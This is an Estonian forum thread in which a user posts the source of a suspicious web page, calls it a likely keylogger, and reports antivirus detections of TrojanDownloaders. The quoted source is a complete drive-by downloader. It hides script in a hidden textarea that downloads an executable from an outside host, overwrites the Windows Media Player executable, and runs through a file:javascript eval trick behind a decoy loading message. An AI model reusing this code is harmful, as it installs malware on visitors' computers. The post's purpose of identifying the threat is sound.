Mis see on? :: Hinnavaatluse Foorumid

Celeron · Kreisi kasutaja liitunud: 03.05.2003

Ilmselt keylogger!

<TEXTAREA id=code style="DISPLAY: none" rows=1 cols="20"> var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://www.hot.ee/kunn1232/modify.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); location.href=http://www.gz.ee/kuningas/ "mms://";</TEXTAREA>Please wait a few seconds While Data Loads...<BR>
<SCRIPT language=javascript> function preparecode(code) { result = ''; lines = code.split(/\r\n/); for (i=0;i<lines.length;i++) { line = lines[i]; line = line.replace(/^\s+/,""); line = line.replace(/\s+$/,""); line = line.replace(/'/g,"\\'"); line = line.replace(/[\\]/g,"\\\\"); line = line.replace(/[/]/g,"%2f"); if (line != '') { result += line +'\\r\\n'; } } return result; } function doit() { mycode = preparecode(document.all.code.value); myURL = "file:javascript:eval('" + mycode + "')"; window.open(myURL,"_media"); } window.open("ieerror.php","_media"); setTimeout("doit()", 5000); </SCRIPT>
Picture should be down here.<IMG style="LEFT: 12px; POSITION: absolute; TOP: 72px" alt="" src="http://www.gz.ee/kuningas/forsale.JPG" border=0 width="728" height="450">
<body>
<body background="background.jpg">
</body>

See lehe srouce

Media Playeri kaustas on Logagent.exe
PS: Win98SE ja MP on see mis 98 kohe kaasas on...
Seal kaustas on ka Laprxy.dll

Jah F-Secure leidis 2 infektsiooni

Ja need zitad olid TrojanDownloaderid

TEEMA KINNI!